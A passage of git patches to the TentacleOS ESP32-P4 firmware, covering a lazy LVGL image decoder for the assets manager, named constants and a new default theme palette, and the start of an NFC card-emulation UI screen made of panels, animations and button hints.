if (xGuiSemaphore != NULL) { - return (xSemaphoreTakeRecursive(xGuiSemaphore, portMAX_DELAY) == pdTRUE); - } - return false; +bool ui_btn_left(void) { + return left_button_is_down(); } -void ui_release(void) { - if (xGuiSemaphore != NULL) { - xSemaphoreGiveRecursive(xGuiSemaphore); - } +bool ui_btn_right(void) { + return right_button_is_down(); } From 730ec934a20568bffebdd0a6de24a90733283472 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 15:56:00 -0300 Subject: [PATCH 124/572] refactor(ui): lazy no-PSRAM asset loading via custom LVGL decoder --- .../Applications/ui/assets_manager.c | 372 ++++++++---------- 1 file changed, 172 insertions(+), 200 deletions(-) diff --git a/firmware_p4/components/Applications/ui/assets_manager.c b/firmware_p4/components/Applications/ui/assets_manager.c index 80d47358d..fc09f548c 100644 --- a/firmware_p4/components/Applications/ui/assets_manager.c +++ b/firmware_p4/components/Applications/ui/assets_manager.c @@ -15,25 +15,19 @@ #include "assets_manager.h" -#include #include #include #include -#include -#include "esp_heap_caps.h" +#include "esp_littlefs.h" #include "esp_log.h" -static const char *TAG = "ASSETS_MANAGER"; +#include "draw/lv_image_decoder_private.h" +#include "misc/cache/lv_cache_private.h" -typedef struct asset_node { - char *path; - lv_image_dsc_t *dsc; - bool from_sd; - struct asset_node *next; -} asset_node_t; +static const char *TAG = "ASSETS_MANAGER"; -static asset_node_t *s_assets_head = NULL; +#define ARGB8888_BYTES_PER_PIXEL 4 typedef struct __attribute__((packed)) { uint32_t magic_cf; @@ -42,237 +36,215 @@ typedef struct __attribute__((packed)) { uint32_t stride; } bin_header_t; -static lv_image_dsc_t *load_asset_from_file(const char *path) { - FILE *f = fopen(path, "rb"); - if (f == NULL) { - ESP_LOGE(TAG, "Failed to open file: %s", path); - return NULL; - } +typedef struct asset_node { + lv_image_dsc_t dsc; + char *path; + struct asset_node *next; +} asset_node_t; - fseek(f, 0, SEEK_END); - long file_size = ftell(f); - fseek(f, 0, SEEK_SET); +static asset_node_t *s_assets_head = NULL; +static bool s_decoder_registered = false; - if (file_size < sizeof(bin_header_t)) { - ESP_LOGE(TAG, "File too small to contain header: %s", path); - fclose(f); - return NULL; +static asset_node_t *find_node_by_path(const char *path) { + for (asset_node_t *n = s_assets_head; n; n = n->next) { + if (strcmp(n->path, path) == 0) + return n; } + return NULL; +} - bin_header_t header; - if (fread(&header, 1, sizeof(bin_header_t), f) != sizeof(bin_header_t)) { - ESP_LOGE(TAG, "Error reading header: %s", path); - fclose(f); - return NULL; +static asset_node_t *find_node_by_dsc(const void *src) { + for (asset_node_t *n = s_assets_head; n; n = n->next) { + if ((const void *)&n->dsc == src) + return n; } + return NULL; +} - long pixel_data_size = file_size - sizeof(bin_header_t); +static bool read_bin_header(const char *path, bin_header_t *out) { + FILE *f = fopen(path, "rb"); + if (f == NULL) + return false; + bool ok = fread(out, 1, sizeof(*out), f) == sizeof(*out); + fclose(f); + return ok; +} - lv_image_dsc_t *dsc = (lv_image_dsc_t *)heap_caps_malloc(sizeof(lv_image_dsc_t), - MALLOC_CAP_SPIRAM | MALLOC_CAP_8BIT); - uint8_t *pixel_data = - (uint8_t *)heap_caps_malloc(pixel_data_size, MALLOC_CAP_SPIRAM | MALLOC_CAP_8BIT); +static lv_result_t asset_decoder_info(lv_image_decoder_t *decoder, + lv_image_decoder_dsc_t *dsc, + lv_image_header_t *header) { + (void)decoder; + if (dsc->src_type != LV_IMAGE_SRC_VARIABLE) + return LV_RESULT_INVALID; + asset_node_t *node = find_node_by_dsc(dsc->src); + if (node == NULL) + return LV_RESULT_INVALID; + *header = node->dsc.header; + return LV_RESULT_OK; +} - if (dsc == NULL || pixel_data == NULL) { - ESP_LOGE(TAG, "PSRAM allocation failed for %s. DSC: %p, Data: %p", path, dsc, pixel_data); - if (dsc) - free(dsc); - if (pixel_data) - free(pixel_data); - fclose(f); - return NULL; +static lv_result_t asset_decoder_open(lv_image_decoder_t *decoder, lv_image_decoder_dsc_t *dsc) { + asset_node_t *node = find_node_by_dsc(dsc->src); + if (node == NULL) + return LV_RESULT_INVALID; + + const uint32_t w = node->dsc.header.w; + const uint32_t h = node->dsc.header.h; + + lv_draw_buf_t *buf = lv_draw_buf_create(w, h, LV_COLOR_FORMAT_ARGB8888, LV_STRIDE_AUTO); + if (buf == NULL) { + ESP_LOGE(TAG, + "draw buf alloc failed for %s (%lux%lu)", + node->path, + (unsigned long)w, + (unsigned long)h); + return LV_RESULT_INVALID; } - if (fread(pixel_data, 1, pixel_data_size, f) != pixel_data_size) { - ESP_LOGE(TAG, "Error reading pixel data: %s", path); - free(dsc); - free(pixel_data); - fclose(f); - return NULL; + FILE *f = fopen(node->path, "rb"); + if (f == NULL || fseek(f, sizeof(bin_header_t), SEEK_SET) != 0) { + if (f) + fclose(f); + lv_draw_buf_destroy(buf); + return LV_RESULT_INVALID; } + const uint32_t row_bytes = w * ARGB8888_BYTES_PER_PIXEL; + bool ok = true; + for (uint32_t y = 0; y < h && ok; y++) { + uint8_t *row = buf->data + (size_t)y * buf->header.stride; + ok = fread(row, 1, row_bytes, f) == row_bytes; + } fclose(f); - dsc->header.magic = LV_IMAGE_HEADER_MAGIC; - dsc->header.cf = LV_COLOR_FORMAT_ARGB8888; - dsc->header.w = header.w; - dsc->header.h = header.h; - dsc->header.stride = header.stride; - dsc->header.flags = 0; - dsc->data_size = pixel_data_size; - dsc->data = pixel_data; - - ESP_LOGI(TAG, "Loaded: %s (%dx%d)", path, header.w, header.h); - return dsc; + if (!ok) { + ESP_LOGE(TAG, "pixel read failed for %s", node->path); + lv_draw_buf_destroy(buf); + return LV_RESULT_INVALID; + } + + dsc->decoded = buf; + + if (lv_image_cache_is_enabled()) { + lv_image_cache_data_t key; + key.src_type = dsc->src_type; + key.src = dsc->src; + key.slot.size = buf->data_size; + lv_cache_entry_t *entry = lv_image_decoder_add_to_cache(decoder, &key, buf, NULL); + if (entry == NULL) { + lv_draw_buf_destroy(buf); + dsc->decoded = NULL; + return LV_RESULT_INVALID; + } + dsc->cache_entry = entry; + dsc->user_data = NULL; + } else { + dsc->user_data = buf; + } + + return LV_RESULT_OK; } -static void add_asset_to_list(const char *path, lv_image_dsc_t *dsc, bool from_sd) { - asset_node_t *node = malloc(sizeof(asset_node_t)); - if (node == NULL) { - ESP_LOGE(TAG, "Error allocating list node for %s", path); - return; +static void asset_decoder_close(lv_image_decoder_t *decoder, lv_image_decoder_dsc_t *dsc) { + (void)decoder; + if (dsc->user_data) { + lv_draw_buf_destroy((lv_draw_buf_t *)dsc->user_data); + dsc->user_data = NULL; } - node->path = strdup(path); - node->dsc = dsc; - node->from_sd = from_sd; - node->next = s_assets_head; - s_assets_head = node; } -static void scan_and_load_recursive(const char *base_path) { - DIR *dir = opendir(base_path); - if (dir == NULL) +static void register_decoder(void) { + if (s_decoder_registered) + return; + lv_image_decoder_t *dec = lv_image_decoder_create(); + if (dec == NULL) { + ESP_LOGE(TAG, "Failed to create image decoder"); return; - - struct dirent *ent; - char path[512]; - - while ((ent = readdir(dir)) != NULL) { - if (ent->d_type == DT_DIR) { - if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0) - continue; - snprintf(path, sizeof(path), "%s/%s", base_path, ent->d_name); - scan_and_load_recursive(path); - } else if (ent->d_type == DT_REG) { - size_t len = strlen(ent->d_name); - if (len > 4 && strcmp(ent->d_name + len - 4, ".bin") == 0) { - snprintf(path, sizeof(path), "%s/%s", base_path, ent->d_name); - - if (assets_get(path) == NULL) { - lv_image_dsc_t *dsc = load_asset_from_file(path); - if (dsc) { - add_asset_to_list(path, dsc, false); - } - } - } - } } - closedir(dir); + lv_image_decoder_set_info_cb(dec, asset_decoder_info); + lv_image_decoder_set_open_cb(dec, asset_decoder_open); + lv_image_decoder_set_close_cb(dec, asset_decoder_close); + s_decoder_registered = true; } void assets_manager_init(void) { - ESP_LOGI(TAG, "Starting assets loading..."); - - struct stat st; - if (stat("/assets", &st) == 0) { - scan_and_load_recursive("/assets"); - } else { - ESP_LOGE(TAG, "Directory /assets not found!"); + ESP_LOGI(TAG, "Starting assets manager..."); + + if (!esp_littlefs_mounted("assets")) { + esp_vfs_littlefs_conf_t conf = { + .base_path = "/assets", + .partition_label = "assets", + .format_if_mount_failed = false, + .dont_mount = false, + }; + esp_err_t err = esp_vfs_littlefs_register(&conf); + if (err != ESP_OK) { + ESP_LOGE(TAG, "Failed to mount /assets LittleFS (%s)", esp_err_to_name(err)); + } else { + size_t total = 0, used = 0; + if (esp_littlefs_info("assets", &total, &used) == ESP_OK) { + ESP_LOGI(TAG, "/assets mounted: %u/%u bytes used", (unsigned)used, (unsigned)total); + } + } } - ESP_LOGI(TAG, "Assets loading finished."); + register_decoder(); + + ESP_LOGI(TAG, "Assets manager ready."); } lv_image_dsc_t *assets_get(const char *path) { - asset_node_t *curr = s_assets_head; - while (curr) { - if (strcmp(curr->path, path) == 0) { - return curr->dsc; - } - curr = curr->next; + if (path == NULL) + return NULL; + + asset_node_t *node = find_node_by_path(path); + if (node != NULL) + return &node->dsc; + + bin_header_t hdr; + if (!read_bin_header(path, &hdr)) { + ESP_LOGW(TAG, "asset not found: %s", path); + return NULL; } - return NULL; + + node = calloc(1, sizeof(asset_node_t)); + if (node == NULL) + return NULL; + node->path = strdup(path); + if (node->path == NULL) { + free(node); + return NULL; + } + + node->dsc.header.magic = LV_IMAGE_HEADER_MAGIC; + node->dsc.header.cf = LV_COLOR_FORMAT_ARGB8888; + node->dsc.header.w = hdr.w; + node->dsc.header.h = hdr.h; + node->dsc.header.stride = hdr.w * ARGB8888_BYTES_PER_PIXEL; + node->dsc.header.flags = 0; + node->dsc.data_size = (uint32_t)hdr.w * hdr.h * ARGB8888_BYTES_PER_PIXEL; + node->dsc.data = (const uint8_t *)node->path; + + node->next = s_assets_head; + s_assets_head = node; + return &node->dsc; } void assets_manager_free_all(void) { asset_node_t *curr = s_assets_head; while (curr) { asset_node_t *next = curr->next; - if (curr->dsc) { - if (curr->dsc->data) - free((void *)curr->dsc->data); - free(curr->dsc); - } - if (curr->path) - free(curr->path); + free(curr->path); free(curr); curr = next; } s_assets_head = NULL; } -static void free_node_dsc(asset_node_t *node) { - if (node->dsc) { - if (node->dsc->data) - free((void *)node->dsc->data); - free(node->dsc); - node->dsc = NULL; - } -} - -static bool replace_asset_in_list(const char *key, lv_image_dsc_t *dsc) { - asset_node_t *curr = s_assets_head; - while (curr) { - if (strcmp(curr->path, key) == 0) { - free_node_dsc(curr); - curr->dsc = dsc; - curr->from_sd = true; - return true; - } - curr = curr->next; - } - return false; -} - int assets_load_from_sd(const char *sd_dir, const char *flash_prefix) { - if (sd_dir == NULL || flash_prefix == NULL) - return 0; - - DIR *dir = opendir(sd_dir); - if (dir == NULL) { - return 0; - } - - int count = 0; - struct dirent *ent; - char sd_path[512]; - char cache_key[512]; - - while ((ent = readdir(dir)) != NULL) { - if (ent->d_type != DT_REG) - continue; - - size_t len = strlen(ent->d_name); - if (len <= 4 || strcmp(ent->d_name + len - 4, ".bin") != 0) - continue; - - snprintf(sd_path, sizeof(sd_path), "%s/%s", sd_dir, ent->d_name); - snprintf(cache_key, sizeof(cache_key), "%s/%s", flash_prefix, ent->d_name); - - lv_image_dsc_t *dsc = load_asset_from_file(sd_path); - if (dsc == NULL) - continue; - - if (!replace_asset_in_list(cache_key, dsc)) { - add_asset_to_list(cache_key, dsc, true); - } - - ESP_LOGI(TAG, "SD override: %s -> %s", sd_path, cache_key); - count++; - } - - closedir(dir); - ESP_LOGI(TAG, "Loaded %d asset(s) from SD dir: %s", count, sd_dir); - return count; + (void)sd_dir; + (void)flash_prefix; + return 0; } -void assets_unload_sd(void) { - asset_node_t **pp = &s_assets_head; - int removed = 0; - - while (*pp) { - asset_node_t *node = *pp; - if (node->from_sd) { - *pp = node->next; - free_node_dsc(node); - if (node->path) - free(node->path); - free(node); - removed++; - } else { - pp = &node->next; - } - } - - ESP_LOGI(TAG, "Unloaded %d SD asset(s) from cache", removed); -} \ No newline at end of file +void assets_unload_sd(void) {} From 13a83b65f9b637cb0a4100d7867958554e5e9168 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 15:57:55 -0300 Subject: [PATCH 125/572] feat(ui): update default theme palette --- .../components/Applications/ui/ui_theme.c | 74 +++++++++---------- 1 file changed, 36 insertions(+), 38 deletions(-) diff --git a/firmware_p4/components/Applications/ui/ui_theme.c b/firmware_p4/components/Applications/ui/ui_theme.c index b20c75f1f..1fd491975 100644 --- a/firmware_p4/components/Applications/ui/ui_theme.c +++ b/firmware_p4/components/Applications/ui/ui_theme.c @@ -30,6 +30,14 @@ #define THEME_CONFIG_PATH FLASH_CONFIG_THEMES #define INTERFACE_CONFIG_PATH FLASH_CONFIG_INTERFACE +#define THEME_COUNT 12 +#define CONF_KV_BUF_SIZE 64 +#define THEME_PATH_MAX 128 +#define ASSET_DIR_PATH_MAX 160 +#define CONF_SECTION_NONE 0 +#define CONF_SECTION_COLORS 1 +#define CONF_SECTION_PROTOCOL 2 + static const char *TAG = "UI_THEME"; ui_theme_t current_theme; @@ -75,7 +83,7 @@ void ui_theme_load_settings(void) { if (root) { cJSON *theme = cJSON_GetObjectItem(root, "theme"); if (cJSON_IsString(theme)) { - for (int i = 0; i < 12; i++) { + for (int i = 0; i < THEME_COUNT; i++) { if (strcmp(theme->valuestring, theme_names[i]) == 0) { theme_idx = i; break; @@ -90,21 +98,24 @@ void ui_theme_load_settings(void) { } void ui_theme_load_idx(int color_idx) { - if (color_idx < 0 || color_idx > 11) + if (color_idx < 0 || color_idx > (THEME_COUNT - 1)) color_idx = 0; FILE *f = fopen(THEME_CONFIG_PATH, "r"); if (f == NULL) { - ESP_LOGW(TAG, "Theme file not found, using fallback"); - current_theme.screen_base = lv_color_black(); - current_theme.text_main = lv_color_white(); - current_theme.border_accent = lv_color_hex(0x834EC6); - current_theme.bg_item_top = lv_color_black(); - current_theme.bg_item_bot = lv_color_hex(0x2E0157); - current_theme.border_inactive = lv_color_hex(0x404040); - current_theme.protocol_nfc = lv_color_hex(0x2196F3); - current_theme.protocol_wifi = lv_color_hex(0x834EC6); - current_theme.protocol_ble = lv_color_hex(0x0082FC); + ESP_LOGW(TAG, "Theme file not found, using built-in default palette"); + current_theme.bg_primary = lv_color_hex(0x000000); + current_theme.bg_secondary = lv_color_hex(0x0A0014); + current_theme.bg_item_top = lv_color_hex(0x0A0014); + current_theme.bg_item_bot = lv_color_hex(0x0A0014); + current_theme.border_accent = lv_color_hex(0xCC00FF); + current_theme.border_interface = lv_color_hex(0xBF00FF); + current_theme.border_inactive = lv_color_hex(0x2A2A2A); + current_theme.text_main = lv_color_hex(0xFFFFFF); + current_theme.screen_base = lv_color_hex(0x000000); + current_theme.protocol_nfc = lv_color_hex(0xCC00FF); + current_theme.protocol_wifi = lv_color_hex(0xBF00FF); + current_theme.protocol_ble = lv_color_hex(0xD158F2); current_theme.protocol_subghz = lv_color_hex(0x4CAF50); current_theme.protocol_rfid = lv_color_hex(0xFFC107); current_theme.protocol_ir = lv_color_hex(0xF44336); @@ -181,7 +192,7 @@ static void apply_conf_color(const char *key, const char *value, int section) { uint32_t hex = (uint32_t)strtol(value, NULL, 16); lv_color_t color = lv_color_hex(hex); - if (section == 1) { /* [colors] */ + if (section == CONF_SECTION_COLORS) { if (strcmp(key, "bg_primary") == 0) current_theme.bg_primary = color; else if (strcmp(key, "bg_secondary") == 0) @@ -200,7 +211,7 @@ static void apply_conf_color(const char *key, const char *value, int section) { current_theme.text_main = color; else if (strcmp(key, "screen_base") == 0) current_theme.screen_base = color; - } else if (section == 2) { /* [protocol_colors] */ + } else if (section == CONF_SECTION_PROTOCOL) { if (strcmp(key, "nfc") == 0) current_theme.protocol_nfc = color; else if (strcmp(key, "wifi") == 0) @@ -219,61 +230,52 @@ static void apply_conf_color(const char *key, const char *value, int section) { } static void parse_theme_conf(const char *data) { - /* section: 0=none/meta, 1=colors, 2=protocol_colors */ - int section = 0; + int section = CONF_SECTION_NONE; const char *p = data; while (p && *p) { - /* find end of line */ const char *eol = strchr(p, '\n'); int len = eol ? (int)(eol - p) : (int)strlen(p); - /* strip trailing \r */ int trimmed = len; if (trimmed > 0 && p[trimmed - 1] == '\r') trimmed--; - /* skip empty lines and comments */ if (trimmed == 0 || p[0] == '#' || p[0] == ';') { p = eol ? eol + 1 : NULL; continue; } - /* check for section header */ if (p[0] == '[') { if (strncmp(p, "[colors]", 8) == 0) - section = 1; + section = CONF_SECTION_COLORS; else if (strncmp(p, "[protocol_colors]", 17) == 0) - section = 2; + section = CONF_SECTION_PROTOCOL; else if (strncmp(p, "[meta]", 6) == 0) - section = 0; + section = CONF_SECTION_NONE; else - section = 0; + section = CONF_SECTION_NONE; p = eol ? eol + 1 : NULL; continue; } - /* parse key=value */ - if (section > 0) { + if (section > CONF_SECTION_NONE) { const char *eq = memchr(p, '=', trimmed); if (eq) { int klen = (int)(eq - p); int vlen = trimmed - klen - 1; - if (klen > 0 && klen < 64 && vlen > 0 && vlen < 64) { - char key[64], val[64]; + if (klen > 0 && klen < CONF_KV_BUF_SIZE && vlen > 0 && vlen < CONF_KV_BUF_SIZE) { + char key[CONF_KV_BUF_SIZE], val[CONF_KV_BUF_SIZE]; memcpy(key, p, klen); key[klen] = '\0'; memcpy(val, eq + 1, vlen); val[vlen] = '\0'; - /* trim trailing spaces from key */ int ki = klen - 1; while (ki >= 0 && key[ki] == ' ') key[ki--] = '\0'; - /* trim leading spaces from key */ char *kp = key; while (*kp == ' ') kp++; - /* trim leading spaces from val */ char *vp = val; while (*vp == ' ') vp++; @@ -376,17 +378,15 @@ void ui_theme_load_from_name(const char *theme_name) { return; } - char path[128]; + char path[THEME_PATH_MAX]; char *data = NULL; int is_conf = 0; - /* Try .conf first (new format) */ snprintf(path, sizeof(path), "/sdcard/themes/%s/theme.conf", theme_name); data = read_file_alloc(path); if (data) { is_conf = 1; } else { - /* Fall back to .json (legacy format) */ snprintf(path, sizeof(path), "/sdcard/themes/%s/theme.json", theme_name); data = read_file_alloc(path); } @@ -394,7 +394,7 @@ void ui_theme_load_from_name(const char *theme_name) { if (data == NULL) { ESP_LOGI(TAG, "SD theme not found (%s), using flash", theme_name); int idx = 0; - for (int i = 0; i < 12; i++) { + for (int i = 0; i < THEME_COUNT; i++) { if (strcmp(theme_name, theme_names[i]) == 0) { idx = i; break; @@ -416,7 +416,7 @@ void ui_theme_load_from_name(const char *theme_name) { assets_unload_sd(); - char asset_dir[160]; + char asset_dir[ASSET_DIR_PATH_MAX]; int total = 0; snprintf(asset_dir, sizeof(asset_dir), "/sdcard/themes/%s/icons", theme_name); @@ -475,13 +475,11 @@ void ui_theme_load_from_sd(void) { } void ui_theme_init(void) { - /* If tos_theme_load_from_sd() already loaded a theme from config, keep it */ if (g_config_screen.theme[0] != '\0') { ESP_LOGI(TAG, "Theme already loaded from config: %s", g_config_screen.theme); return; } - /* Fallback: load from legacy interface_config.conf */ ui_theme_load_settings(); ui_theme_load_idx(theme_idx); ESP_LOGI(TAG, "Theme initialized: %s", theme_names[theme_idx]); From f1452d07692534ab6228fe026cef00de9968f0e4 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 15:59:00 -0300 Subject: [PATCH 126/572] feat(ui): add card emulate screen --- .../Applications/ui/screens/nfc/card_emu_ui.c | 463 ++++++++++++++++++ .../ui/screens/nfc/include/card_emu_ui.h | 25 + 2 files changed, 488 insertions(+) create mode 100644 firmware_p4/components/Applications/ui/screens/nfc/card_emu_ui.c create mode 100644 firmware_p4/components/Applications/ui/screens/nfc/include/card_emu_ui.h diff --git a/firmware_p4/components/Applications/ui/screens/nfc/card_emu_ui.c b/firmware_p4/components/Applications/ui/screens/nfc/card_emu_ui.c new file mode 100644 index 000000000..078878fdd --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/nfc/card_emu_ui.c @@ -0,0 +1,463 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "card_emu_ui.h" + +#include + +#include "lvgl.h" + +#include "buttons_gpio.h" +#include "nfc_sim.h" +#include "nfc_ui_common.h" +#include "ui_chrome.h" +#include "ui_manager.h" +#include "ui_theme.h" + +#define NAV_TIMER_MS 33 +#define FIELD_GREEN 0x00E676 +#define SCALE_FWD 285 + +enum { CE_BROWSE, CE_EDIT, CE_EMULATE }; + +static lv_obj_t *s_screen = NULL; +static lv_obj_t *s_panel = NULL; +static lv_obj_t *s_status = NULL; +static lv_obj_t *s_hint = NULL; +static lv_timer_t *s_timer = NULL; + +static lv_obj_t *s_ov = NULL; +static lv_obj_t *s_field_box = NULL; +static nfc_ui_field_t s_field; +static bool s_field_ready = false; +static char s_emu_name[NFC_SIM_NAME_LEN]; +static lv_draw_buf_t *s_snap = NULL; +static lv_obj_t *s_card_img = NULL; +static int s_card_top_y = 0; +static lv_obj_t *s_glow = NULL; + +static int s_state = CE_BROWSE; +static int s_idx = 0; +static int s_edit_type = 0; +static nfc_sim_card_t s_edit; + +static bool s_up_last, s_down_last, s_ok_last, s_back_last, s_left_last, s_right_last; + +static lv_obj_t *make_new_panel(lv_obj_t *parent) { + lv_obj_t *p = lv_obj_create(parent); + lv_obj_remove_flag(p, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(p, 210, 122); + lv_obj_set_style_radius(p, 14, 0); + lv_obj_set_style_bg_color(p, lv_color_hex(0x140828), 0); + lv_obj_set_style_bg_opa(p, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(p, 2, 0); + lv_obj_set_style_border_color(p, ui_theme_get_accent(), 0); + lv_obj_t *l = lv_label_create(p); + lv_label_set_text(l, LV_SYMBOL_PLUS " New Card"); + lv_obj_set_style_text_color(l, ui_theme_get_accent(), 0); + lv_obj_set_style_text_font(l, &lv_font_montserrat_14, 0); + lv_obj_center(l); + return p; +} + +static void rebuild_panel(void) { + if (s_panel) { + lv_obj_del(s_panel); + s_panel = NULL; + } + int saved = nfc_sim_saved_count(); + if (s_state == CE_EDIT) + s_panel = nfc_ui_card_panel(s_screen, &s_edit); + else if (s_idx < saved) + s_panel = nfc_ui_card_panel(s_screen, nfc_sim_saved_get(s_idx)); + else + s_panel = make_new_panel(s_screen); + lv_obj_align(s_panel, LV_ALIGN_CENTER, 0, 8); +} + +static void refresh_text(void) { + int saved = nfc_sim_saved_count(); + if (s_state == CE_EDIT) { + lv_label_set_text_fmt( + s_status, "New card (type %d/%d)", s_edit_type + 1, nfc_sim_template_count()); + ui_chrome_footer_set_text( + s_hint, LV_SYMBOL_LEFT LV_SYMBOL_RIGHT " type " LV_SYMBOL_UP " UID OK Save+Emu BACK"); + } else if (s_idx < saved) { + lv_label_set_text_fmt(s_status, "Card %d / %d", s_idx + 1, saved); + ui_chrome_footer_set_text(s_hint, LV_SYMBOL_LEFT LV_SYMBOL_RIGHT " flip OK Emulate BACK"); + } else { + lv_label_set_text(s_status, "Create a card"); + ui_chrome_footer_set_text(s_hint, LV_SYMBOL_LEFT LV_SYMBOL_RIGHT " flip OK Create BACK"); + } +} + +static void anim_img_y_cb(void *var, int32_t v) { + lv_obj_set_y((lv_obj_t *)var, v); +} +static void anim_img_scale_cb(void *var, int32_t v) { + lv_image_set_scale((lv_obj_t *)var, (uint32_t)v); +} + +static void anim_flip_x_cb(void *var, int32_t v) { + lv_obj_align((lv_obj_t *)var, LV_ALIGN_CENTER, v, 8); +} +static void anim_flip_opa_cb(void *var, int32_t v) { + lv_obj_set_style_opa((lv_obj_t *)var, (lv_opa_t)v, 0); +} +static void flip_done(lv_anim_t *a) { + (void)a; + if (s_panel) { + lv_obj_set_style_shadow_width(s_panel, 24, 0); + lv_obj_set_style_opa(s_panel, LV_OPA_COVER, 0); + } +} + +static void do_flip(int new_idx, int dir) { + s_idx = new_idx; + rebuild_panel(); + refresh_text(); + lv_obj_set_style_shadow_width(s_panel, 0, 0); + lv_obj_set_style_opa(s_panel, LV_OPA_TRANSP, 0); + lv_obj_align(s_panel, LV_ALIGN_CENTER, dir * 60, 8); + + lv_anim_t ax; + lv_anim_init(&ax); + lv_anim_set_var(&ax, s_panel); + lv_anim_set_values(&ax, dir * 60, 0); + lv_anim_set_duration(&ax, 200); + lv_anim_set_path_cb(&ax, lv_anim_path_ease_out); + lv_anim_set_exec_cb(&ax, anim_flip_x_cb); + lv_anim_set_completed_cb(&ax, flip_done); + lv_anim_start(&ax); + + lv_anim_t ao; + lv_anim_init(&ao); + lv_anim_set_var(&ao, s_panel); + lv_anim_set_values(&ao, 0, 255); + lv_anim_set_duration(&ao, 200); + lv_anim_set_exec_cb(&ao, anim_flip_opa_cb); + lv_anim_start(&ao); +} +static void anim_card_settled(lv_anim_t *a) { + (void)a; + s_field_ready = true; + if (s_field_box) + lv_obj_fade_in(s_field_box, 300, 0); + if (s_glow) + lv_obj_fade_in(s_glow, 360, 0); + if (s_card_img == NULL) + return; + + lv_anim_t bob; + lv_anim_init(&bob); + lv_anim_set_var(&bob, s_card_img); + lv_anim_set_values(&bob, s_card_top_y, s_card_top_y - 8); + lv_anim_set_duration(&bob, 1600); + lv_anim_set_playback_duration(&bob, 1600); + lv_anim_set_repeat_count(&bob, LV_ANIM_REPEAT_INFINITE); + lv_anim_set_path_cb(&bob, lv_anim_path_ease_in_out); + lv_anim_set_exec_cb(&bob, anim_img_y_cb); + lv_anim_start(&bob); + + lv_anim_t br; + lv_anim_init(&br); + lv_anim_set_var(&br, s_card_img); + lv_anim_set_values(&br, SCALE_FWD, SCALE_FWD + 14); + lv_anim_set_duration(&br, 1600); + lv_anim_set_playback_duration(&br, 1600); + lv_anim_set_repeat_count(&br, LV_ANIM_REPEAT_INFINITE); + lv_anim_set_path_cb(&br, lv_anim_path_ease_in_out); + lv_anim_set_exec_cb(&br, anim_img_scale_cb); + lv_anim_start(&br); +} + +static void emulate_close(void) { + s_field_ready = false; + if (s_field_box) { + lv_obj_del(s_field_box); + s_field_box = NULL; + } + if (s_ov) { + lv_obj_del(s_ov); + s_ov = NULL; + } + if (s_card_img) { + lv_obj_del(s_card_img); + s_card_img = NULL; + } + if (s_glow) { + lv_obj_del(s_glow); + s_glow = NULL; + } + if (s_snap) { + lv_draw_buf_destroy(s_snap); + s_snap = NULL; + } + for (int i = 0; i < 3; i++) + s_field.ring[i] = NULL; + if (s_status) + lv_obj_remove_flag(s_status, LV_OBJ_FLAG_HIDDEN); + if (s_hint) + lv_obj_remove_flag(s_hint, LV_OBJ_FLAG_HIDDEN); + s_state = CE_BROWSE; + rebuild_panel(); + refresh_text(); +} + +static void emulate_start(const nfc_sim_card_t *card) { + strncpy(s_emu_name, card->name, sizeof(s_emu_name) - 1); + s_emu_name[sizeof(s_emu_name) - 1] = '\0'; + lv_color_t col = nfc_ui_card_color(card); + + int H = lv_display_get_vertical_resolution(NULL); + if (H < 200) + H = 320; + int top_y = H * 8 / 100; + if (top_y < 4) + top_y = 4; + s_card_top_y = top_y; + + s_ov = lv_obj_create(s_screen); + lv_obj_set_size(s_ov, lv_pct(100), lv_pct(100)); + lv_obj_center(s_ov); + lv_obj_remove_flag(s_ov, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_border_width(s_ov, 0, 0); + lv_obj_set_style_radius(s_ov, 0, 0); + lv_obj_set_style_bg_color(s_ov, lv_color_black(), 0); + lv_obj_set_style_bg_opa(s_ov, LV_OPA_COVER, 0); + lv_obj_fade_in(s_ov, 220, 0); + + if (s_status) + lv_obj_add_flag(s_status, LV_OBJ_FLAG_HIDDEN); + if (s_hint) + lv_obj_add_flag(s_hint, LV_OBJ_FLAG_HIDDEN); + + s_glow = lv_obj_create(s_screen); + lv_obj_remove_flag(s_glow, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(s_glow, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(s_glow, 226, 152); + lv_obj_align(s_glow, LV_ALIGN_CENTER, 0, top_y + 61 - H / 2); + lv_obj_set_style_radius(s_glow, 38, 0); + lv_obj_set_style_border_width(s_glow, 0, 0); + lv_obj_set_style_bg_color(s_glow, col, 0); + lv_obj_set_style_bg_opa(s_glow, LV_OPA_30, 0); + lv_obj_set_style_opa(s_glow, LV_OPA_TRANSP, 0); + + s_field_box = lv_obj_create(s_screen); + lv_obj_set_size(s_field_box, lv_pct(100), H * 44 / 100); + lv_obj_align(s_field_box, LV_ALIGN_BOTTOM_MID, 0, 0); + lv_obj_remove_flag(s_field_box, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_bg_opa(s_field_box, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(s_field_box, 0, 0); + lv_obj_set_style_opa(s_field_box, LV_OPA_TRANSP, 0); + + lv_obj_t *prompt = lv_label_create(s_field_box); + lv_label_set_text(prompt, "Hold Near Reader"); + lv_obj_set_style_text_color(prompt, current_theme.text_main, 0); + lv_obj_align(prompt, LV_ALIGN_TOP_MID, 0, 2); + + nfc_ui_field_create(&s_field, s_field_box, col); + + lv_obj_t *hint = lv_label_create(s_field_box); + lv_label_set_text(hint, "BACK to stop"); + 